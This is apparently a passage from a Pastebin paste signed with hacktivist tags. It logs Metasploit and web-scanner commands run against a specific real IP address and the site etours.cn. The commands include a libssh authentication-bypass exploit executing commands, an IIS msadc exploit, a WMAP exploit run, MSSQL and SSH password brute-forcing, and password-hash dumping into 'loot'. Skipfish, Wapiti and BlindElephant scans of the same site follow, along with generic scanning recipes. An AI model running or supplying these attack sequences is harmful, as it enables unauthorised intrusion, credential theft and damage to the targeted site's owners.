  3695. II 4' v 'B .'"".'/|\`.""'.
  3696. II 6. .P : .' / | \ `. :
  3697. II 'T;. .;P' '.' / | \ `.'
  3698. II 'T; ;P' `. / | \ .'
  3699. IIIIII 'YvP' `-.__|__.-'
  3700.  
  3701. I love shells --egypt
  3702.  
  3703.  
  3704. =[ metasploit v5.0.72-dev- ]
  3705. + -- --=[ 1962 exploits - 1095 auxiliary - 336 post ]
  3706. + -- --=[ 562 payloads - 45 encoders - 10 nops ]
  3707. + -- --=[ 7 evasion ]
  3708.  
  3709.  
  3710. msf5 > db_status
  3711. [*] Connected to msf. Connection type: postgresql.
  3712.  
  3713.  
  3714. root@blackbox:~# msfconsole
  3715.  
  3716. Attempting authentication bypass unpatched libssh
  3717.  
  3718. msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
  3719. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 184.154.192.250
  3720. rhosts => IPADDRESS
  3721. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 830
  3722. rport => 830
  3723. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
  3724. spawn_pty => true
  3725. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
  3726. verbose => true
  3727. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
  3728.  
  3729. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
  3730. [*] Starting interaction with 1...
  3731.  
  3732. id
  3733.  
  3734. uname -a
  3735.  
  3736. tty
  3737.  
  3738.  
  3739. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
  3740. action => Execute
  3741. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
  3742. cmd => id; uname -a
  3743. msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
  3744.  
  3745.  
  3746.  
  3747. USE WMAP
  3748.  
  3749. msf5 > load wmap
  3750.  
  3751. .-.-.-..-.-.-..---..---.
  3752. | | | || | | || | || |-'
  3753. `-----'`-'-'-'`-^-'`-'
  3754. [WMAP 1.5.1] === et [ ] metasploit.com 2012
  3755. [*] Successfully loaded plugin: wmap
  3756.  
  3757.  
  3758. Clean
  3759. msf5 > wmap_sites -l
  3760.  
  3761. msf5 > wmap_sites -d 0
  3762. msf5 > wmap_targets -c
  3763. msf5 > wmap_targets -l
  3764.  
  3765.  
  3766. ADD THE SITE
  3767.  
  3768. msf5 > wmap_sites -a http://www.etours.cn/
  3769. [*] Site created.
  3770. msf5 > wmap_sites -l
  3771. [*] Available sites
  3772. ===============
  3773.  
  3774. Id Host Vhost Port Proto # Pages # Forms
  3775. -- ---- ----- ---- ----- ------- -------
  3776. 0 184.154.192.250 184.154.192.250 80 http 0 0
  3777.  
  3778. ADD THE TARGET
  3779.  
  3780. msf5 > wmap_targets -t 184.154.192.250
  3781. msf5 > wmap_targets -l
  3782. [*] Defined targets
  3783. ===============
  3784.  
  3785. Id Vhost Host Port SSL Path
  3786. -- ----- ---- ---- --- ----
  3787. 0 184.154.192.250 184.154.192.250 80 false /
  3788.  
  3789.  
  3790.  
  3791. RUN THE TEST
  3792.  
  3793. msf5 > wmap_run -t
  3794. [*] Testing target:
  3795. [*] Site: 184.154.192.250 (184.154.192.250)
  3796. [*] Port: 80 SSL: false
  3797. ============================================================
  3798. [*] Testing started. 2020-01-29 05:09:16 -0600
  3799. [*] Loading wmap modules...
  3800. [*] 39 wmap enabled modules loaded.
  3801. [*]
  3802. =[ SSL testing ]=
  3803. ============================================================
  3804. [*] Target is not SSL. SSL modules disabled.
  3805. [*]
  3806. =[ Web Server testing ]=
  3807. ============================================================
  3808. [*] Module auxiliary/scanner/http/http_version
  3809. [*] Module auxiliary/scanner/http/open_proxy
  3810. [*] Module auxiliary/admin/http/tomcat_administration
  3811. [*] Module auxiliary/admin/http/tomcat_utf8_traversal
  3812. [*] Module auxiliary/scanner/http/drupal_views_user_enum
  3813. [*] Module auxiliary/scanner/http/frontpage_login
  3814. [*] Module auxiliary/scanner/http/host_header_injection
  3815. [*] Module auxiliary/scanner/http/options
  3816. [*] Module auxiliary/scanner/http/robots_txt
  3817. [*] Module auxiliary/scanner/http/scraper
  3818. [*] Module auxiliary/scanner/http/svn_scanner
  3819. [*] Module auxiliary/scanner/http/trace
  3820. [*] Module auxiliary/scanner/http/vhost_scanner
  3821. [*] Module auxiliary/scanner/http/webdav_internal_ip
  3822. [*] Module auxiliary/scanner/http/webdav_scanner
  3823. [*] Module auxiliary/scanner/http/webdav_website_content
  3824. [*]
  3825. =[ File/Dir testing ]=
  3826. ============================================================
  3827. [*] Module auxiliary/scanner/http/backup_file
  3828. [*] Module auxiliary/scanner/http/brute_dirs
  3829. [*] Module auxiliary/scanner/http/copy_of_file
  3830. [*] Module auxiliary/scanner/http/dir_listing
  3831. [*] Module auxiliary/scanner/http/dir_scanner
  3832. [*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass
  3833. [*] Module auxiliary/scanner/http/file_same_name_dir
  3834. [*] Module auxiliary/scanner/http/files_dir
  3835. [*] Module auxiliary/scanner/http/http_put
  3836. [*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
  3837. [*] Module auxiliary/scanner/http/prev_dir_same_name_file
  3838. [*] Module auxiliary/scanner/http/replace_ext
  3839. [*] Module auxiliary/scanner/http/soap_xml
  3840. [*] Module auxiliary/scanner/http/trace_axd
  3841. [*] Module auxiliary/scanner/http/verb_auth_bypass
  3842. [*]
  3843. =[ Unique Query testing ]=
  3844. ============================================================
  3845. [*] Module auxiliary/scanner/http/blind_sql_query
  3846. [*] Module auxiliary/scanner/http/error_sql_injection
  3847. [*] Module auxiliary/scanner/http/http_traversal
  3848. [*] Module auxiliary/scanner/http/rails_mass_assignment
  3849. [*] Module exploit/multi/http/lcms_php_exec
  3850. [*]
  3851. =[ Query testing ]=
  3852. ============================================================
  3853. [*]
  3854. =[ General testing ]=
  3855. ============================================================
  3856. [*] Done.
  3857.  
  3858.  
  3859.  
  3860. RUN THE EXPLOIT
  3861.  
  3862. msf5 > wmap_run -e
  3863.  
  3864.  
  3865.  
  3866. CHECK THE VULNERABILITIES
  3867.  
  3868. msf5 > wmap_vulns -l
  3869.  
  3870.  
  3871. EXECUTE VULNERABILITIES
  3872.  
  3873. msf > vulns
  3874.  
  3875.  
  3876. RUN DB_NMAP THROUGH METASPLOIT
  3877.  
  3878. msf5 > db_nmap 184.154.192.250 -Pn
  3879.  
  3880.  
  3881. msf5 > hosts
  3882.  
  3883.  
  3884. msf5 > hosts -c address,os_flavor
  3885.  
  3886.  
  3887. msf5 > hosts -c address,os_flavor -S Windows
  3888.  
  3889. msf5 > hosts -c address,os_flavor -S Windows -R
  3890.  
  3891. RHOSTS => 184.154.192.250
  3892.  
  3893. msf5 > services -h
  3894.  
  3895. msf5 > services -c name,info 184.154.192.250
  3896.  
  3897. msf5 > services -c name,info -S http
  3898.  
  3899.  
  3900. msf5 > services -c info,name -p 445
  3901.  
  3902. msf5 > services -c port,proto,state -p 70-81
  3903.  
  3904.  
  3905. msf5 > services -s http -c port 184.154.192.250
  3906.  
  3907. msf5 > search IIS
  3908.  
  3909. msf5 > use exploit/windows/iis/msadc
  3910.  
  3911. msf5 exploit(windows/iis/msadc) > run
  3912.  
  3913. msf5 > search mssql_login
  3914.  
  3915. Matching Modules
  3916. ================
  3917.  
  3918. # Name Disclosure Date Rank Check Description
  3919. - ---- --------------- ---- ----- -----------
  3920. 0 auxiliary/scanner/mssql/mssql_login normal No MSSQL Login Utility
  3921.  
  3922. msf5 > use auxiliary/scanner/mssql/mssql_login
  3923.  
  3924. msf5 auxiliary(scanner/mssql/mssql_login) > show options
  3925.  
  3926. msf5 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa
  3927. msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /opt/commix/src/txt/passwords_john.txt
  3928. msf5 auxiliary(scanner/mssql/mssql_login) > run
  3929.  
  3930.  
  3931. msf5 auxiliary(scanner/mssql/mssql_login) > creds
  3932. Credentials
  3933. ===========
  3934.  
  3935. host origin service public private realm private_type JtR Format
  3936. ---- ------ ------- ------ ------- ----- ------------ ----------
  3937.  
  3938. msf5 auxiliary(scanner/mssql/mssql_login) > back
  3939. msf5 > loot -h
  3940. Usage: loot [options]
  3941. Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  3942. Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
  3943. Del: loot -d [addr1 addr2 ...]
  3944.  
  3945. -a,--add Add loot to the list of addresses, instead of listing
  3946. -d,--delete Delete *all* loot matching host and type
  3947. -f,--file File with contents of the loot to add
  3948. -i,--info Info of the loot to add
  3949. -t <type1,type2> Search for a list of types
  3950. -h,--help Show this help information
  3951. -S,--search Search string to filter by
  3952.  
  3953.  
  3954.  
  3955. Here’s an example of how one would populate the database with some ‘loot’.
  3956.  
  3957. msf exploit(usermap_script) > exploit
  3958.  
  3959. msf exploit(usermap_script) > use post/linux/gather/hashdump
  3960.  
  3961. msf post(hashdump) > show options
  3962.  
  3963. msf post(hashdump) > sessions -l
  3964.  
  3965. msf post(hashdump) > run
  3966.  
  3967.  
  3968. USE LOOT
  3969.  
  3970. msf post(hashdump) > loot
  3971.  
  3972. RELOAD ALL METASPLOIT MODULES
  3973.  
  3974. msf > reload_all
  3975.  
  3976. USE ARP_SWEEP
  3977.  
  3978. msf > use auxiliary/scanner/discovery/arp_sweep
  3979.  
  3980. msf auxiliary(arp_sweep) > show options
  3981.  
  3982. msf auxiliary(arp_sweep) > set RHOSTS TARGET/24
  3983.  
  3984. RHOSTS => TARGET/24
  3985.  
  3986. msf auxiliary(arp_sweep) > set THREADS 50
  3987.  
  3988. THREADS => 50
  3989.  
  3990. msf auxiliary(arp_sweep) > run
  3991.  
  3992. USE NMAP
  3993.  
  3994. msf > nmap -sn TARGET/24
  3995.  
  3996. msf > nmap -PU -sn TARGET/24
  3997.  
  3998. msf > nmap -O TARGET
  3999.  
  4000. SEARCH PORTSCAN
  4001.  
  4002. msf > search portscan
  4003.  
  4004. USE PORTSCAN
  4005.  
  4006. msf > use auxiliary/scanner/portscan/syn
  4007.  
  4008. msf auxiliary(syn) > set RHOSTS TARGET
  4009.  
  4010. RHOSTS => TARGET
  4011.  
  4012. msf auxiliary(syn) > set THREADS 200
  4013.  
  4014. THREADS => 200
  4015.  
  4016. msf auxiliary(syn) > run
  4017.  
  4018. SEARCH NAME_VERSION
  4019.  
  4020. msf > search name:_version
  4021.  
  4022. USE TELNET AUXILIARY SCANNER
  4023.  
  4024. msf > use auxiliary/scanner/telnet/telnet_version
  4025.  
  4026. msf auxiliary(telnet_version) > set RHOSTS TARGET/24
  4027.  
  4028. RHOSTS => TARGET/24
  4029.  
  4030. msf auxiliary(telnet_version) > set THREADS 100
  4031.  
  4032. THREADS => 100
  4033.  
  4034. msf auxiliary(telnet_version) > run
  4035.  
  4036. USE AUXILIARY SSH_VERSION
  4037.  
  4038. msf > use auxiliary/scanner/ssh/ssh_version
  4039.  
  4040. msf auxiliary(ssh_version) > show options
  4041.  
  4042. Module options (auxiliary/scanner/ssh/ssh_version):
  4043.  
  4044. Name Current Setting Required Description
  4045.  
  4046. ---- --------------- -------- -----------
  4047.  
  4048. RHOSTS yes The target address range or CIDR identifier
  4049.  
  4050. RPORT 22 yes The target port
  4051.  
  4052. THREADS 1 yes The number of concurrent threads
  4053.  
  4054. TIMEOUT 30 yes Timeout for the SSH probe
  4055.  
  4056. msf auxiliary(ssh_version) > set RHOSTS TARGET/24
  4057.  
  4058. RHOSTS => TARGET/24
  4059.  
  4060. msf auxiliary(ssh_version) > set THREADS 200
  4061.  
  4062. THREADS => 200
  4063.  
  4064. msf auxiliary(ssh_version) > run
  4065.  
  4066. USE ORACLE SCANNER
  4067.  
  4068. msf auxiliary(ssh_version) > use auxiliary/scanner/oracle/tnslsnr_version
  4069.  
  4070. msf auxiliary(tnslsnr_version) > show options
  4071.  
  4072. Module options (auxiliary/scanner/oracle/tnslsnr_version):
  4073.  
  4074. Name Current Setting Required Description
  4075.  
  4076. ---- --------------- -------- -----------
  4077.  
  4078. RHOSTS yes The target address range or CIDR identifier
  4079.  
  4080. RPORT 1521 yes The target port
  4081.  
  4082. THREADS 1 yes The number of concurrent threads
  4083.  
  4084. msf auxiliary(tnslsnr_version) > set RHOSTS TARGET/24
  4085.  
  4086. RHOSTS => TARGET/24
  4087.  
  4088. msf auxiliary(tnslsnr_version) > set THREADS 200
  4089.  
  4090. THREADS => 200
  4091.  
  4092. msf auxiliary(tnslsnr_version) > run
  4093.  
  4094. USE OPEN_PROXY
  4095.  
  4096. msf auxiliary(open_proxy) > show options
  4097.  
  4098. Module options (auxiliary/scanner/http/open_proxy):
  4099.  
  4100. Name Current Setting Required Description
  4101.  
  4102. ---- --------------- -------- -----------
  4103.  
  4104. LOOKUP_PUBLIC_ADDRESS false no Enable test for retrieve public IP address via RIPE.net
  4105.  
  4106. MULTIPORTS true no Multiple ports will be used : 80, 1080, 3128, 8080, 8123
  4107.  
  4108. RANDOMIZE_PORTS false no Randomize the order the ports are probed
  4109.  
  4110. RHOSTS 24.25.24.1-xx.xx.xx.xx.xx yes The target address range or CIDR identifier
  4111.  
  4112. RPORT 8080 yes The target port
  4113.  
  4114. SITE www.google.com yes The web site to test via alleged web proxy (default is www.google.com)
  4115.  
  4116. THREADS 200 yes The number of concurrent threads
  4117.  
  4118. UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) yes The HTTP User-Agent sent in the request
  4119.  
  4120. VERIFY_CONNECT true no Enable test for CONNECT method
  4121.  
  4122. VERIFY_HEAD false no Enable test for HEAD method
  4123.  
  4124. ValidCode 200,302 no Valid HTTP code for a successfully request
  4125.  
  4126. ValidPattern server: gws
  4127.  
  4128. USE SSH_LOGIN
  4129.  
  4130. msf > use auxiliary/scanner/ssh/ssh_login
  4131.  
  4132. msf auxiliary(ssh_login) > set RHOSTS TARGET
  4133.  
  4134. RHOSTS => TARGET
  4135.  
  4136. msf auxiliary(ssh_login) > set USERNAME root
  4137.  
  4138. USERNAME => root
  4139.  
  4140. msf auxiliary(ssh_login) > set PASS_FILE /root/password.txt
  4141.  
  4142. PASS_FILE => /root/password.txt
  4143.  
  4144. msf auxiliary(ssh_login) > set THREADS 2000
  4145.  
  4146. THREADS => 2000
  4147.  
  4148. msf auxiliary(ssh_login) > run
  4149.  
  4150. USE AUXILIARY DIR_SCANNER
  4151.  
  4152. msf > use auxiliary/scanner/http/dir_scanner
  4153.  
  4154. msf auxiliary(dir_scanner) > set THREADS 50
  4155.  
  4156. THREADS => 50
  4157.  
  4158. msf auxiliary(dir_scanner) > set RHOSTS TARGET
  4159.  
  4160. RHOSTS => TARGET
  4161.  
  4162. msf auxiliary(dir_scanner) > exploit
  4163.  
  4164. USE EMAIL_COLLECTOR
  4165.  
  4166. msf > use auxiliary/gather/search_email_collector
  4167.  
  4168. msf auxiliary(search_email_collector) > set DOMAIN TARGET
  4169.  
  4170. DOMAIN => TARGET
  4171.  
  4172. msf auxiliary(search_email_collector) > run
  4173.  
  4174. USE AUXILIARY SCANNER HTTP CRAWLER
  4175.  
  4176. msf > use auxiliary/scanner/http/crawler
  4177.  
  4178. msf auxiliary(crawler) > set RHOST TARGET
  4179.  
  4180. RHOST => TARGET
  4181.  
  4182. msf auxiliary(crawler) > run
  4183.  
  4184. [*] Crawling http://TARGET:80/...
  4185.  
  4186. [*] Crawl of http://TARGET:80/ complete
  4187.  
  4188. [*] Auxiliary module execution completed
  4189.  
  4190.  
  4191. openvasad -c add_user -u admin -r Admin
  4192.  
  4193. openvasmd --user=admin --new-password=admin
  4194.  
  4195. openvas_target_create “windows” TARGET “new_scan”
  4196.  
  4197. msf > load openvas
  4198.  
  4199. [*] Welcome to OpenVAS integration by kost and averagesecurityguy.
  4200.  
  4201. [*]
  4202.  
  4203. [*] OpenVAS integration requires a database connection. Once the
  4204.  
  4205. [*] database is ready, connect to the OpenVAS server using openvas_connect.
  4206.  
  4207. [*] For additional commands use openvas_help.
  4208.  
  4209. [*]
  4210.  
  4211. [*] Successfully loaded plugin: OpenVAS
  4212.  
  4213. msf > openvas_connect admin admin localhost 9390 ok
  4214.  
  4215. msf > openvas_help
  4216.  
  4217. [*] openvas_help Display this help
  4218.  
  4219. [*] openvas_debug Enable/Disable debugging
  4220.  
  4221. [*] openvas_version Display the version of the OpenVAS server
  4222.  
  4223. [*]
  4224.  
  4225. [*] CONNECTION
  4226.  
  4227. [*] ==========
  4228.  
  4229. [*] openvas_connect Connects to OpenVAS
  4230.  
  4231. [*] openvas_disconnect Disconnects from OpenVAS
  4232.  
  4233. [*]
  4234.  
  4235. [*] TARGETS
  4236.  
  4237. [*] =======
  4238.  
  4239. [*] openvas_target_create Create target
  4240.  
  4241. [*] openvas_target_delete Deletes target specified by ID
  4242.  
  4243. [*] openvas_target_list Lists targets
  4244.  
  4245. [*]
  4246.  
  4247. [*] TASKS
  4248.  
  4249. [*] =====
  4250.  
  4251. [*] openvas_task_create Create task
  4252.  
  4253. [*] openvas_task_delete Delete a task and all associated reports
  4254.  
  4255. [*] openvas_task_list Lists tasks
  4256.  
  4257. [*] openvas_task_start Starts task specified by ID
  4258.  
  4259. [*] openvas_task_stop Stops task specified by ID
  4260.  
  4261. [*] openvas_task_pause Pauses task specified by ID
  4262.  
  4263. [*] openvas_task_resume Resumes task specified by ID
  4264.  
  4265. [*] openvas_task_resume_or_start Resumes or starts task specified by ID
  4266.  
  4267. [*]
  4268.  
  4269. [*] CONFIGS
  4270.  
  4271. [*] =======
  4272.  
  4273. [*] openvas_config_list Lists scan configurations
  4274.  
  4275. [*]
  4276.  
  4277. [*] FORMATS
  4278.  
  4279. [*] =======
  4280.  
  4281. [*] openvas_format_list Lists available report formats
  4282.  
  4283. [*]
  4284.  
  4285. [*] REPORTS
  4286.  
  4287. [*] =======
  4288.  
  4289. [*] openvas_report_list Lists available reports
  4290.  
  4291. [*] openvas_report_delete Delete a report specified by ID
  4292.  
  4293. [*] openvas_report_import Imports an OpenVAS report specified by ID
  4294.  
  4295. [*] openvas_report_download Downloads an OpenVAS report specified by ID
  4296.  
  4297. msf > openvas_config_list
  4298.  
  4299. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4300.  
  4301. [+] OpenVAS list of configs
  4302.  
  4303. ID Name
  4304.  
  4305. -- ----
  4306.  
  4307. 085569ce-73ed-11df-83c3-002264764cea empty
  4308.  
  4309. 2d3f051c-55ba-11e3-bf43-406186ea4fc5 Host Discovery
  4310.  
  4311. 698f691e-7489-11df-9d8c-002264764cea Full and fast ultimate
  4312.  
  4313. 708f25c4-7489-11df-8094-002264764cea Full and very deep
  4314.  
  4315. 74db13d6-7489-11df-91b9-002264764cea Full and very deep ultimate
  4316.  
  4317. 8715c877-47a0-438d-98a3-27c7a6ab2196 Discovery
  4318.  
  4319. bbca7412-a950-11e3-9109-406186ea4fc5 System Discovery
  4320.  
  4321. daba56c8-73ec-11df-a475-002264764cea Full and fast
  4322.  
  4323. msf > openvas_target_list
  4324.  
  4325. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4326.  
  4327. [+] OpenVAS list of targets
  4328.  
  4329. ID Name Hosts Max Hosts In Use Comment
  4330.  
  4331. -- ---- ----- --------- ------ -------
  4332.  
  4333. 785ca141-93b1-4325-9117-040dbcd8297f “windows” TARGET 1 0 “new_scan”
  4334.  
  4335. b493b7a8-7489-11df-a3ec-002264764cea Localhost localhost 1 0
  4336.  
  4337.  
  4338. msf > openvas_task_create
  4339.  
  4340. [*] Usage: openvas_task_create <name> <comment> <config_id> <target_id>
  4341.  
  4342. msf > openvas_task_create "win" "test" 2d3f051c-55ba-11e3-bf43-406186ea4fc5 785ca141-93b1-4325-9117-040dbcd8297f
  4343.  
  4344. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4345.  
  4346. [*] f93de23e-ed04-4db9-9321-0e40d3c11d46
  4347.  
  4348. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4349.  
  4350. [+] OpenVAS list of tasks
  4351.  
  4352. ID Name Comment Status Progress
  4353.  
  4354. -- ---- ------- ------ --------
  4355.  
  4356. f93de23e-ed04-4db9-9321-0e40d3c11d46 win test New -1
  4357.  
  4358. msf > openvas_task_start f93de23e-ed04-4db9-9321-0e40d3c11d46
  4359.  
  4360. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4361.  
  4362. [*] <X><authenticate_response status='200' status_text='OK'><role>Admin</role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><start_task_response status='202' status_text='OK, request submitted'><report_id>68e8a43f-8f06-4bc4-92a3-1fec76ea246b</report_id></start_task_response></X>
  4363.  
  4364.  
  4365. msf > openvas_task_list
  4366.  
  4367. /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201:in `sendrecv': Object#timeout is deprecated, use Timeout.timeout instead.
  4368.  
  4369. [+] OpenVAS list of tasks
  4370.  
  4371. ID Name Comment Status Progress
  4372.  
  4373. -- ---- ------- ------ --------
  4374.  
  4375. f93de23e-ed04-4db9-9321-0e40d3c11d46 win test Done -1
  4376.  
  4377. msf >
  4378.  
  4379. openvas_report_list
  4380.  
  4381. openvas_format_list
  4382.  
  4383. openvas_report_download 1 5 /root/Desktop report
  4384.  
  4385.  
  4386. CHECK THE SITE WITH SKIPFISH
  4387.  
  4388. root@blackbox:~# locate skipfish | grep bin
  4389. /usr/bin/skipfish
  4390. root@blackbox:~# locate dictionaries
  4391.  
  4392.  
  4393. root@blackbox:~# skipfish -S /usr/share/skipfish/dictionaries/complete.wl -o /tmp/scan http://etours.cn
  4394.  
  4395. EXAMPLES
  4396.  
  4397. Scan type: config
  4398.  
  4399. skipfish --config config/example.conf http://example.com
  4400.  
  4401. Scan type: quick
  4402.  
  4403. skipfish -o output/dir/ http://example.com
  4404.  
  4405. Scan type: extensive bruteforce
  4406.  
  4407. skipfish [...other options..] -S dictionaries/complete.wl
  4408.  
  4409. http://example.com
  4410.  
  4411. Scan type: without bruteforcing
  4412.  
  4413. skipfish [...other options..] -LY http://example.com
  4414.  
  4415. Scan type: authenticated (basic)
  4416.  
  4417. skipfish [...other options..] -A username:password http://example.com
  4418.  
  4419. Scan type: authenticated (cookie)
  4420.  
  4421. skipfish [...other options..] -C jsession=myauthcookiehere -X /logout
  4422.  
  4423. http://example.com
  4424.  
  4425. Scan type: flaky server
  4426.  
  4427. skipfish [...other options..] -l 5 -g 2 -t 30 -i 15 http://example.com
  4428.  
  4429. OPEN SKIPFISH RESULTS WITH FIREFOX
  4430.  
  4431. In terminal:
  4432.  
  4433. Report
  4434.  
  4435. ------
  4436.  
  4437. A report has been generated in the file /tmp/scan_report
  4438.  
  4439. Open /tmp/scan_report/index.html with a browser to see this report
  4440.  
  4441.  
  4442. CHECK THE SITE WITH WAPITI
  4443.  
  4444. root@blackbox:~# aptitude install wapiti
  4445.  
  4446. root@blackbox:~# wapiti --url http://etours.cn/ --scope folder -v 1 -f html -o /tmp/scan_report
  4447.  
  4448.  
  4449. USE BLINDELEPHANT
  4450.  
  4451. root@blackbox:~# cd /opt/
  4452. root@blackbox:/opt# git clone https://github.com/lokifer/BlindElephant.git
  4453. root@blackbox:/opt# cd BlindElephant/src/
  4454. root@blackbox:/opt/BlindElephant/src# python setup.py install
  4455.  
  4456. root@blackbox:/opt/BlindElephant/src# BlindElephant.py etours.cn movabletype
  4457.  
  4458. root@blackbox:/opt/BlindElephant/src# BlindElephant.py etours.cn guess
  4459.  
  4460. Probing...
  4461.  
  4462. ACUNETIX SCAN
  4463. https://pasteboard.co/ISeK7WC.jpg
  4464.  
  4465. https://pasteboard.co/ISeKyZk.jpg
  4466.  
  4467. #Anonymous #TheCreed #blackhat_global #GBN
  4468. ========================================================================================================================================================
  4469. ###########################################################################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!